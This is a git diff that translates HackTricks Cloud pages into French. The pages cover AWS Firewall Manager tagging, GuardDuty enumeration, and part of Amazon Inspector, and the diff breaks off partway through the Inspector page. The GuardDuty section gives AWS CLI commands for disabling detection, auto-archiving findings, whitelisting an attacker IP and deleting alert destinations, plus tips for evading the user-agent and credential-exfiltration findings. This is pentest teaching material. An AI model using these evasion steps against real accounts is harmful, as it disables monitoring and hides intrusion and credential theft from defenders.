+**Impact potentiel :** La désassociation entraînerait une évasion de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement. L'association, en revanche, entraînerait une perturbation de l'allocation des coûts et du budget.
 
 ### `fms:TagResource`, `fms:UntagResource`
 
-An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources de Firewall Manager, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises.
 ```bash
 aws fms tag-resource --resource-arn <value> --tag-list <value>
 aws fms untag-resource --resource-arn <value> --tag-keys <value>
 ```
+**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
 
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
-
-## References
+## Références
 
 - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html)
 - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html)
 - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
index 2794852d3..feb45c474 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -4,64 +4,63 @@
 
 ## GuardDuty
 
-According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs.
+Selon les [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combine **l'apprentissage automatique, la détection d'anomalies, la surveillance du réseau et la découverte de fichiers malveillants**, en utilisant à la fois AWS et des sources tierces de premier plan pour aider à protéger les charges de travail et les données sur AWS. GuardDuty est capable d'analyser des dizaines de milliards d'événements à travers plusieurs sources de données AWS, telles que les journaux d'événements AWS CloudTrail, les journaux de flux Amazon Virtual Private Cloud (VPC), les journaux d'audit et de système d'Amazon Elastic Kubernetes Service (EKS), et les journaux de requêtes DNS.
 
-Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation.
+Amazon GuardDuty **identifie les activités inhabituelles au sein de vos comptes**, analyse la **pertinence de la sécurité** de l'activité et fournit le **contexte** dans lequel elle a été invoquée. Cela permet à un intervenant de déterminer s'il doit consacrer du temps à une enquête plus approfondie.
 
-Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events.
+Les alertes **apparaissent dans la console GuardDuty (90 jours)** et dans les événements CloudWatch.
 
 > [!WARNING]
-> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\
-> If you just stop it, the existing findings will remain.
+> Lorsqu'un utilisateur **désactive GuardDuty**, il cessera de surveiller votre environnement AWS et ne générera aucune nouvelle découverte, et les **découvertes existantes seront perdues**.\
+> Si vous l'arrêtez simplement, les découvertes existantes resteront.
 
-### Findings Example
+### Exemples de Découvertes
 
-- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP.
-- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS.
-- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses.
-- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets.
+- **Reconnaissance**: Activité suggérant une reconnaissance par un attaquant, telle que **une activité API inhabituelle**, des tentatives de **connexion** à la base de données suspectes, un **scan de port** intra-VPC, des modèles de requêtes de connexion échouées inhabituels, ou un sondage de port non bloqué à partir d'une IP connue comme malveillante.
+- **Compromission d'instance**: Activité indiquant une compromission d'instance, telle que **minage de cryptomonnaie, activité de commande et de contrôle (C\&C)** par porte dérobée, malware utilisant des algorithmes de génération de domaine (DGA), activité de déni de service sortant, volume de trafic **réseau** anormalement **élevé**, protocoles réseau inhabituels, communication d'instance sortante avec une IP malveillante connue, des identifiants Amazon EC2 temporaires utilisés par une adresse IP externe, et exfiltration de données utilisant DNS.
+- **Compromission de compte**: Les modèles courants indicatifs de compromission de compte incluent des appels API provenant d'une géolocalisation inhabituelle ou d'un proxy anonymisant, des tentatives de désactiver la journalisation AWS CloudTrail, des changements qui affaiblissent la politique de mot de passe du compte, des lancements d'instances ou d'infrastructures inhabituels, des déploiements d'infrastructure dans une région inhabituelle, le vol d'identifiants, une activité de connexion à la base de données suspecte, et des appels API provenant d'adresses IP malveillantes connues.
+- **Compromission de bucket**: Activité indiquant une compromission de bucket, telle que des modèles d'accès aux données suspects indiquant un usage abusif des identifiants, une activité API Amazon S3 inhabituelle provenant d'un hôte distant, un accès S3 non autorisé à partir d'adresses IP malveillantes connues, et des appels API pour récupérer des données dans des buckets S3 d'un utilisateur sans historique préalable d'accès au bucket ou invoqués depuis un emplacement inhabituel. Amazon GuardDuty surveille et analyse en continu les événements de données S3 d'AWS CloudTrail (par exemple, GetObject, ListObjects, DeleteObject) pour détecter des activités suspectes à travers tous vos buckets Amazon S3.
 
 <details>
 
-<summary>Finding Information</summary>
+<summary>Informations sur les Découvertes</summary>
 
-Finding summary:
+Résumé des découvertes:
 
-- Finding type
-- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low
-- Region
-- Account ID
-- Resource ID
-- Time of detection
-- Which threat list was used
+- Type de découverte
+- Gravité: 7-8.9 Élevée, 4-6.9 Moyenne, 01-3.9 Faible
+- Région
+- ID de compte
+- ID de ressource
+- Heure de détection
+- Quelle liste de menaces a été utilisée
 
-The body has this information:
+Le corps contient ces informations:
 
-- Resource affected
+- Ressource affectée
 - Action
-- Actor: Ip address, port and domain
-- Additional Information
+- Acteur: Adresse IP, port et domaine
+- Informations supplémentaires
 
 </details>
 
-### All Findings
+### Toutes les Découvertes
 
-Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
+Accédez à une liste de toutes les découvertes GuardDuty sur: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
 
-### Multi Accounts
+### Comptes Multiples
 
-#### By Invitation
+#### Par Invitation
 
-You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation.
+Vous pouvez **inviter d'autres comptes** à un compte AWS GuardDuty différent afin que **chaque compte soit surveillé depuis le même GuardDuty**. Le compte principal doit inviter les comptes membres et ensuite le représentant du compte membre doit accepter l'invitation.
 
-#### Via Organization
+#### Via Organisation
 
-You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator.
+Vous pouvez désigner n'importe quel compte au sein de l'organisation comme **administrateur délégué GuardDuty**. Seul le compte de gestion de l'organisation peut désigner un administrateur délégué.
 
-An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account.
-
-## Enumeration
+Un compte désigné comme administrateur délégué devient un compte administrateur GuardDuty, a GuardDuty activé automatiquement dans la région AWS désignée, et a également **le droit d'activer et de gérer GuardDuty pour tous les comptes de l'organisation dans cette région**. Les autres comptes de l'organisation peuvent être consultés et ajoutés en tant que comptes membres GuardDuty associés à ce compte administrateur délégué.
 
+## Énumération
 ```bash
 # Get Org config
 aws guardduty list-organization-admin-accounts #Get Delegated Administrator
@@ -101,85 +100,76 @@ aws guardduty list-publishing-destinations --detector-id <id>
 aws guardduty list-threat-intel-sets --detector-id <id>
 aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
 ```
-
 ## GuardDuty Bypass
 
 ### General Guidance
 
-Try to find out as much as possible about the behaviour of the credentials you are going to use:
+Essayez de découvrir autant que possible sur le comportement des identifiants que vous allez utiliser :
 
-- Times it's used
-- Locations
-- User Agents / Services (It could be used from awscli, webconsole, lambda...)
-- Permissions regularly used
+- Heures d'utilisation
+- Lieux
+- Agents utilisateurs / Services (Cela pourrait être utilisé depuis awscli, webconsole, lambda...)
+- Permissions régulièrement utilisées
 
-With this information, recreate as much as possible the same scenario to use the access:
+Avec ces informations, recréez autant que possible le même scénario pour utiliser l'accès :
 
-- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible)
-- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges
-- Always try to use the **same permissions** this principal has used
-- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one)
+- Si c'est un **utilisateur ou un rôle accédé par un utilisateur**, essayez de l'utiliser aux mêmes heures, depuis la même géolocalisation (même le même FAI et IP si possible)
+- Si c'est un **rôle utilisé par un service**, créez le même service dans la même région et utilisez-le depuis là dans les mêmes plages horaires
+- Essayez toujours d'utiliser les **mêmes permissions** que ce principal a utilisées
+- Si vous devez **utiliser d'autres permissions ou abuser d'une permission** (par exemple, télécharger 1.000.000 de fichiers journaux cloudtrail), faites-le **lentement** et avec le **minimum d'interactions** avec AWS (awscli appelle parfois plusieurs API de lecture avant celle d'écriture)
 
 ### Breaking GuardDuty
 
 #### `guardduty:UpdateDetector`
 
-With this permission you could disable GuardDuty to avoid triggering alerts.
-
+Avec cette permission, vous pourriez désactiver GuardDuty pour éviter de déclencher des alertes.
 ```bash
 aws guardduty update-detector --detector-id <detector-id> --no-enable
 aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs={Enable=false}
 ```
-
 #### `guardduty:CreateFilter`
 
-Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings:
-
+Les attaquants disposant de cette autorisation ont la capacité de **utiliser des filtres pour l'archivage automatique** des résultats :
 ```bash
 aws guardduty create-filter  --detector-id <detector-id> --name <filter-name> --finding-criteria file:///tmp/criteria.json --action ARCHIVE
 ```
-
 #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
 
-Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts.
-
+Les attaquants disposant des privilèges précédents pourraient modifier la [**liste IP de confiance**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) de GuardDuty en y ajoutant leur adresse IP et éviter de générer des alertes.
 ```bash
 aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
 ```
-
 #### `guardduty:DeletePublishingDestination`
 
-Attackers could remove the destination to prevent alerting:
-
+Les attaquants pourraient supprimer la destination pour empêcher les alertes :
 ```bash
 aws guardduty delete-publishing-destination --detector-id <detector-id> --destination-id <dest-id>
 ```
-
 > [!CAUTION]
-> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings.
+> La suppression de cette destination de publication **n'affectera pas la génération ou la visibilité des résultats dans la console GuardDuty**. GuardDuty continuera à analyser les événements dans votre environnement AWS, à identifier les comportements suspects ou inattendus, et à générer des résultats.
 
-### Specific Findings Bypass Examples
+### Exemples spécifiques de contournement des résultats
 
-Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught.
+Notez qu'il existe des dizaines de résultats GuardDuty, cependant, **en tant que Red Teamer, tous ne vous affecteront pas**, et ce qui est mieux, vous avez la **documentation complète de chacun d'eux** sur [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) donc jetez un œil avant de faire quoi que ce soit pour ne pas vous faire prendre.
 
-Here you have a couple of examples of specific GuardDuty findings bypasses:
+Voici quelques exemples de contournement de résultats spécifiques de GuardDuty :
 
 #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) <a href="#pentest-iam-kalilinux" id="pentest-iam-kalilinux"></a>
 
-GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
-It's detected by the **user agent name** that is passed in the API request.\
-Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack.
+GuardDuty détecte les requêtes API AWS provenant d'outils de test de pénétration courants et déclenche un [Résultat de PenTest](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
+Il est détecté par le **nom de l'agent utilisateur** qui est passé dans la requête API.\
+Par conséquent, **modifier l'agent utilisateur** permet d'empêcher GuardDuty de détecter l'attaque.
 
-To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering.
+Pour éviter cela, vous pouvez rechercher dans le script `session.py` dans le package `botocore` et modifier l'agent utilisateur, ou définir Burp Suite comme proxy AWS CLI et changer l'agent utilisateur avec le MitM ou simplement utiliser un OS comme Ubuntu, Mac ou Windows pour empêcher cette alerte de se déclencher.
 
 #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
 
-Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert.
+L'extraction des identifiants EC2 du service de métadonnées et **leur utilisation à l'extérieur** de l'environnement AWS active l'alerte [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Inversement, l'utilisation de ces identifiants depuis votre instance EC2 déclenche l'alerte [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Pourtant, **l'utilisation des identifiants sur une autre instance EC2 compromise au sein du même compte passe inaperçue**, ne déclenchant aucune alerte.
 
 > [!TIP]
-> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert.
+> Par conséquent, **utilisez les identifiants exfiltrés depuis l'intérieur de la machine** où vous les avez trouvés pour ne pas déclencher cette alerte.
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
 - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html)
@@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid
 - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
index 655b81fa7..42abd51d7 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
@@ -6,53 +6,53 @@
 
 ### Inspector
 
-Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management.
+Amazon Inspector est un service avancé et automatisé de gestion des vulnérabilités conçu pour améliorer la sécurité de votre environnement AWS. Ce service analyse en continu les instances Amazon EC2, les images de conteneurs dans Amazon ECR, Amazon ECS et les fonctions AWS Lambda à la recherche de vulnérabilités et d'expositions réseau non intentionnelles. En s'appuyant sur une base de données robuste d'intelligence sur les vulnérabilités, Amazon Inspector fournit des résultats détaillés, y compris des niveaux de gravité et des recommandations de remédiation, aidant les organisations à identifier et à traiter proactivement les risques de sécurité. Cette approche complète garantit une posture de sécurité renforcée à travers divers services AWS, facilitant la conformité et la gestion des risques.
 
 ### Key elements
 
 #### Findings
 
-Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as:
+Les résultats dans Amazon Inspector sont des rapports détaillés sur les vulnérabilités et les expositions découvertes lors de l'analyse des instances EC2, des dépôts ECR ou des fonctions Lambda. En fonction de son état, les résultats sont classés comme suit :
 
-- **Active**: The finding has not been remediated.
-- **Closed**: The finding has been remediated.
-- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**.
+- **Actif** : Le résultat n'a pas été remédié.
+- **Fermé** : Le résultat a été remédié.
+- **Supprimé** : Le résultat a été marqué avec cet état en raison d'une ou plusieurs **règles de suppression**.
 
-Findings are also categorized into the next three types:
+Les résultats sont également classés en trois types :
 
-- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues.
-- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches.
-- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups.
+- **Package** : Ces résultats concernent les vulnérabilités dans les packages logiciels installés sur vos ressources. Des exemples incluent des bibliothèques obsolètes ou des dépendances avec des problèmes de sécurité connus.
+- **Code** : Cette catégorie inclut les vulnérabilités trouvées dans le code des applications fonctionnant sur vos ressources AWS. Les problèmes courants sont des erreurs de codage ou des pratiques non sécurisées qui pourraient entraîner des violations de sécurité.
+- **Réseau** : Les résultats réseau identifient les expositions potentielles dans les configurations réseau qui pourraient être exploitées par des attaquants. Cela inclut des ports ouverts, des protocoles réseau non sécurisés et des groupes de sécurité mal configurés.
 
 #### Filters and Suppression Rules
 
-Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues.
+Les filtres et les règles de suppression dans Amazon Inspector aident à gérer et à prioriser les résultats. Les filtres vous permettent de raffiner les résultats en fonction de critères spécifiques, tels que la gravité ou le type de ressource. Les règles de suppression vous permettent de supprimer certains résultats considérés comme à faible risque, déjà atténués, ou pour toute autre raison importante, empêchant ainsi une surcharge de vos rapports de sécurité et vous permettant de vous concentrer sur des problèmes plus critiques.
 
 #### Software Bill of Materials (SBOM)
 
-A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components.
+Une Software Bill of Materials (SBOM) dans Amazon Inspector est une liste d'inventaire imbriquée exportable détaillant tous les composants d'un package logiciel, y compris les bibliothèques et les dépendances. Les SBOM aident à fournir de la transparence dans la chaîne d'approvisionnement logicielle, permettant une meilleure gestion des vulnérabilités et conformité. Elles sont cruciales pour identifier et atténuer les risques associés aux composants logiciels open source et tiers.
 
 ### Key features
 
 #### Export findings
 
-Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status.
+Amazon Inspector offre la possibilité d'exporter les résultats vers des Amazon S3 Buckets, Amazon EventBridge et AWS Security Hub, ce qui vous permet de générer des rapports détaillés des vulnérabilités et expositions identifiées pour une analyse ou un partage ultérieur à une date et heure spécifiques. Cette fonctionnalité prend en charge divers formats de sortie tels que CSV et JSON, facilitant l'intégration avec d'autres outils et systèmes. La fonctionnalité d'exportation permet de personnaliser les données incluses dans les rapports, vous permettant de filtrer les résultats en fonction de critères spécifiques tels que la gravité, le type de ressource ou la plage de dates, et incluant par défaut tous vos résultats dans la région AWS actuelle avec un statut Actif.
 
-When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information.
+Lors de l'exportation des résultats, une clé de service de gestion des clés (KMS) est nécessaire pour chiffrer les données lors de l'exportation. Les clés KMS garantissent que les résultats exportés sont protégés contre tout accès non autorisé, fournissant une couche de sécurité supplémentaire pour les informations sensibles sur les vulnérabilités.
 
 #### Amazon EC2 instances scanning
 
-Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account.
+Amazon Inspector offre des capacités de scan robustes pour les instances Amazon EC2 afin de détecter les vulnérabilités et les problèmes de sécurité. Inspector compare les métadonnées extraites de l'instance EC2 avec des règles provenant d'avis de sécurité afin de produire des vulnérabilités de package et des problèmes de connectivité réseau. Ces scans peuvent être effectués par des méthodes **basées sur un agent** ou **sans agent**, selon la configuration des paramètres de **mode de scan** de votre compte.
 
-- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance.
-- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning.
+- **Basé sur un agent** : Utilise l'agent AWS Systems Manager (SSM) pour effectuer des scans approfondis. Cette méthode permet une collecte et une analyse de données complètes directement depuis l'instance.
+- **Sans agent** : Fournit une alternative légère qui ne nécessite pas l'installation d'un agent sur l'instance, créant un instantané EBS de chaque volume de l'instance EC2, recherchant des vulnérabilités, puis le supprimant ; tirant parti de l'infrastructure AWS existante pour le scan.
 
-The scan mode determines which method will be used to perform EC2 scans:
+Le mode de scan détermine quelle méthode sera utilisée pour effectuer les scans EC2 :
 
-- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection.
-- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless.
+- **Basé sur un agent** : Implique l'installation de l'agent SSM sur les instances EC2 pour une inspection approfondie.
+- **Scan hybride** : Combine les méthodes basées sur un agent et sans agent pour maximiser la couverture et minimiser l'impact sur les performances. Dans les instances EC2 où l'agent SSM est installé, Inspector effectuera un scan basé sur un agent, et pour celles où il n'y a pas d'agent SSM, le scan effectué sera sans agent.
 
-Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10:
+Une autre fonctionnalité importante est l'**inspection approfondie** pour les instances EC2 Linux. Cette fonctionnalité offre une analyse approfondie du logiciel et de la configuration des instances EC2 Linux, fournissant des évaluations détaillées des vulnérabilités, y compris les vulnérabilités du système d'exploitation, les vulnérabilités des applications et les erreurs de configuration, garantissant une évaluation complète de la sécurité. Cela est réalisé par l'inspection des **chemins personnalisés** et de tous ses sous-répertoires. Par défaut, Amazon Inspector scannera les éléments suivants, mais chaque compte membre peut définir jusqu'à 5 chemins personnalisés supplémentaires, et chaque administrateur délégué jusqu'à 10 :
 
 - `/usr/lib`
 - `/usr/lib64`
@@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th
 
 #### Amazon ECR container images scanning
 
-Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently.
+Amazon Inspector fournit des capacités de scan robustes pour les images de conteneurs Amazon Elastic Container Registry (ECR), garantissant que les vulnérabilités des packages sont détectées et gérées efficacement.
 
-- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans.
-- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues.
+- **Scan de base** : Il s'agit d'un scan rapide et léger qui identifie les vulnérabilités connues des packages OS dans les images de conteneurs en utilisant un ensemble standard de règles du projet open-source Clair. Avec cette configuration de scan, vos dépôts seront scannés lors de la poussée ou en effectuant des scans manuels.
+- **Scan amélioré** : Cette option ajoute la fonctionnalité de scan continu en plus du scan lors de la poussée. Le scan amélioré plonge plus profondément dans les couches de chaque image de conteneur pour identifier les vulnérabilités dans les packages OS et dans les packages de langages de programmation avec une plus grande précision. Il analyse à la fois l'image de base et toutes les couches supplémentaires, fournissant une vue complète des problèmes de sécurité potentiels.
 
 #### Amazon Lambda functions scanning
 
-Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions:
+Amazon Inspector inclut des capacités de scan complètes pour les fonctions AWS Lambda et ses couches, garantissant la sécurité et l'intégrité des applications sans serveur. Inspector propose deux types de scan pour les fonctions Lambda :
 
-- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding.
-- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues.
+- **Scan standard Lambda** : Cette fonctionnalité par défaut identifie les vulnérabilités logicielles dans les dépendances du package d'application ajoutées à votre fonction Lambda et à ses couches. Par exemple, si votre fonction utilise une version d'une bibliothèque comme python-jwt avec une vulnérabilité connue, elle génère un résultat.
